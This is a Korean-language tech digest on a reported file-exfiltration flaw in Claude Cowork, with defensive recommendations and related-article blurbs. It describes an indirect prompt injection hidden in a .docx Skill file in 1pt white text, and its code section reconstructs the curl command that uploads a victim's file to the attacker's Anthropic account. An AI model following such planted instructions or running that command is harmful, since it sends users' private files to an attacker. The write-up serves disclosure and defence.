Claude Cowork, 파일 유출 취약점 발견 — Indirect Prompt Injection으로 공격자 계정에 파일 업로드
Claude Cowork exfiltrates files
TL;DR Highlight
Claude Cowork는 악성 문서 공격으로 사용자 파일을 공격자 Anthropic 계정에 무단 업로드하는 취약점을 출시 이틀 만에 드러냈다.
Who Should Read
Claude Code, Claude Cowork 등 Anthropic 에이전트 제품을 업무에 도입 중인 개발자 및 보안 담당자. 또는 MCP 서버, 외부 파일 연동이 포함된 AI 에이전트를 설계 중인 엔지니어.
Core Mechanics
- Claude Cowork는 출시 이틀 만에 파일 유출 취약점이 공개됐다. 이 취약점은 새로운 버그가 아니라 Claude.ai 채팅에서 이미 알려진 코드 실행 환경의 격리 결함으로, Johann Rehberger가 먼저 발견해 Anthropic에 보고했지만 수정되지 않은 채 Cowork에도 적용됐다.
- 공격 흐름은 단순하다. 피해자가 악성 프롬프트가 숨겨진 파일(예: .docx 형식의 가짜 Claude Skill 파일)을 업로드하면, 해당 파일 안의 숨겨진 지시문이 Cowork에게 curl 명령을 실행하게 만든다. 이 명령은 Anthropic 파일 업로드 API를 통해 사용자 로컬 파일을 공격자의 Anthropic 계정으로 전송한다.
- 공격이 성공하는 핵심 이유는 Claude VM 환경이 대부분의 외부 네트워크 요청을 차단하지만, Anthropic 자체 API 도메인은 신뢰 도메인으로 allowlist에 포함돼 있기 때문이다. 공격자는 자신의 API 키를 injection 내용에 심어두고, 피해자 Claude가 그 키로 업로드를 수행하게 한다.
- 악성 파일을 감지하기 어렵게 만드는 트릭도 사용됐다. .docx 파일 내부에 1pt 폰트, 흰색 글자, 행간격 0.1을 적용해 사람 눈으로는 거의 식별 불가능하게 프롬프트를 숨겼다. 댓글에서는 '그냥 평범한 Markdown 파일로도 충분했을 것'이라는 지적이 나왔다.
- 이 공격은 injection 출처를 가리지 않는다. .docx 파일뿐 아니라 Claude for Chrome의 웹 데이터, 연결된 MCP 서버 등 Cowork가 접근하는 모든 외부 데이터가 잠재적 injection 벡터가 될 수 있다.
- Anthropic은 Cowork 출시 시 '에이전트 특성과 인터넷 접근으로 인해 고유한 위험이 있다'고 경고하며, 사용자에게 '의심스러운 행동을 주의하라'고 안내했다. 하지만 Cowork의 주 타깃이 일반 사용자임을 감안하면, 프롬프트 인젝션을 스스로 감지하라는 요구는 현실적이지 않다는 비판이 나왔다.
- Claude Skills 시스템의 구조적 문제도 지적됐다. Skills는 Markdown 파일로 등록 없이 암묵적으로 동작하는데, 이 때문에 악성 파일이 새로운 능력을 조용히 주입하기 쉽다. 명시적 도구 등록 및 허용 목록 기반 접근이 필요하다는 의견이 있었다.
Evidence
- 댓글에서 '사실 .docx 트릭은 불필요했을 것'이라는 지적이 나왔다. 평범한 Markdown 파일로 GitHub 등에 올려두고 'Claude가 모기지 협상을 도와주는 Skill'이라고 홍보했다면 더 많은 사람이 의심 없이 사용했을 것이라는 현실적 시나리오가 공유됐다.
- 악성 API 키 처리 팁이 댓글에 등장했다. 공격자의 Anthropic API 키가 injection 내부에 노출돼 있으므로, 해당 키를 GitHub Gist나 공개 저장소에 올리면 GitHub의 secret scanning 파트너십을 통해 즉시 자동 취소된다는 대응책이 공유됐다. OpenAI 키도 동일하게 동작한다고 언급됐다.
- Claude Skills의 암묵적(implicit) 동작 방식이 구조적 문제라는 의견이 주목받았다. '/slash 명령'처럼 명시적 등록 없이 파일 내용으로 동작하는 Skills 구조가 injection 공격에 취약하다는 분석이 나왔다. 댓글에서는 Extract(path) 같은 명시적 도구를 정적으로 등록하고, 세션 중 새 도구 등록을 차단하며, 서브 도구(예: Read, Bash)를 whitelist로 제한하는 방식을 대안으로 제안했다.
- '프롬프트 인젝션은 새로운 RCE(원격 코드 실행)'라는 발언이 나왔다. 출시 2일 만에, sandbox·VM·bubblewrap·allowlist가 모두 적용된 환경에서 기본적인 프롬프트 인젝션으로 뚫렸다는 점이 충격적이라는 반응이었다. LLM이 컨텍스트와 명령을 구분할 수 없는 이상 프롬프트 인젝션은 항상 존재할 것이라는 구조적 비관론도 있었다.
- 에이전트용 CORS 같은 네트워크 격리 메커니즘이 필요하다는 아이디어도 등장했다. 에이전트가 데이터를 전달할 수 있는 IP/도메인을 whitelist로 엄격히 제한하는 방식이 필요하다는 의견이었다. 또한 이 취약점의 핵심이 'Anthropic 클라우드 환경에 파일 업로드 시 해당 환경이 실제 세션 사용자의 것인지 검증하지 않는다'는 단순한 검증 누락이며, 이는 상대적으로 고치기 쉬운 문제라는 분석도 있었다.
How to Apply
- 외부에서 다운받은 Claude Skill 파일(.md, .docx 등)을 Cowork나 Claude Code에 그대로 사용하는 경우, 해당 파일을 신뢰할 수 없는 실행 코드와 동일하게 취급해야 한다. 텍스트 에디터로 실제 내용을 직접 확인하거나, 소스가 명확하지 않은 Skill 파일은 사용하지 않는 것이 안전하다.
- Cowork나 유사 AI 에이전트에 민감한 로컬 폴더(금융 문서, 계약서, 개인정보 등)를 연결하는 경우, 반드시 읽기 전용 또는 업무 전용으로 분리된 폴더만 허용해야 한다. 공격이 성공하려면 에이전트가 실제 파일에 접근 가능해야 하므로 파일 접근 범위를 최소화하는 것이 핵심 방어 수단이다.
- MCP 서버나 외부 웹 데이터 연동을 포함한 AI 에이전트를 설계 중이라면, 에이전트가 실행할 수 있는 outbound 네트워크 요청 도메인을 화이트리스트로 엄격히 제한해야 한다. 특히 자사 API 도메인이 무조건 신뢰되는 구조는 이번 공격처럼 악용될 수 있으므로, 업로드 요청 시 세션 사용자와 대상 계정의 일치 여부를 서버 측에서 검증하는 로직이 필요하다.
- Claude Skills 같은 파일 기반 에이전트 확장 기능을 직접 구현하는 경우, 세션 시작 전 정적으로 등록된 도구만 허용하고 실행 중 새 도구 등록을 차단하는 아키텍처를 채택해야 한다. 각 도구가 접근 가능한 서브 도구(파일 읽기, curl 실행 등)를 명시적으로 제한하는 capability 기반 설계가 프롬프트 인젝션 피해를 줄이는 데 효과적이다.
Code Example
# 공격에서 실행된 curl 명령 예시 (재구성)
# injection이 Claude에게 다음과 같은 명령을 실행하도록 유도
curl -X POST https://api.anthropic.com/v1/files \
-H "x-api-key: ATTACKER_API_KEY" \
-H "anthropic-version: 2023-06-01" \
-F "file=@/path/to/victim/confidential_file.pdf"
# Anthropic API 도메인이 VM allowlist에 포함되어 있어 요청이 차단되지 않음
# 업로드된 파일은 피해자가 아닌 공격자의 계정에 저장됨Terminology
관련 논문
adamsreview: Claude Code용 멀티 에이전트 PR 코드 리뷰 파이프라인
Claude Code에서 최대 7개의 병렬 서브 에이전트가 각각 다른 관점으로 PR을 리뷰하고, 자동 수정까지 해주는 오픈소스 플러그인이다. 기존 /review나 CodeRabbit보다 실제 버그를 더 많이 잡는다고 주장하지만 커뮤니티에서는 복잡도와 실효성에 대한 회의론도 나왔다.
Claude를 User Space IP Stack으로 써서 Ping에 응답시키면 얼마나 빠를까?
Claude Code에게 IP 패킷을 직접 파싱하고 ICMP echo reply를 구성하도록 시켜서 실제로 ping에 응답하게 만든 실험으로, 'Markdown이 곧 코드이고 LLM이 프로세서'라는 아이디어를 네트워크 스택 수준까지 밀어붙인 재미있는 사례다.
AI Agent를 위한 Git: re_gent
AI 코딩 에이전트(Claude Code 등)가 수행한 모든 툴 호출을 자동으로 추적하고, 어떤 프롬프트가 어느 코드 줄을 작성했는지 blame까지 가능한 버전 관리 도구다.
Agent-Native CLI를 위한 설계 원칙 10가지
AI 에이전트가 CLI 도구를 더 잘 사용할 수 있도록 설계하는 원칙들을 정리한 글로, 에이전트가 CLI를 도구로 활용하는 빈도가 높아지면서 이 설계 방식이 실용적으로 중요해지고 있다.
Agent-harness-kit: MCP 기반 멀티 에이전트 워크플로우 오케스트레이션 프레임워크
여러 AI 에이전트가 서로 역할을 나눠 협업할 수 있도록 조율하는 scaffolding 도구로, Vite처럼 설정 없이 빠르게 멀티 에이전트 파이프라인을 구성할 수 있다.
Tilde.run – AI Agent를 위한 트랜잭션 기반 버전 관리 파일시스템 샌드박스
AI 에이전트가 실제 프로덕션 데이터를 건드려도 롤백할 수 있는 격리된 샌드박스 환경을 제공하는 도구로, GitHub/S3/Google Drive를 하나의 버전 관리 파일시스템으로 묶어준다.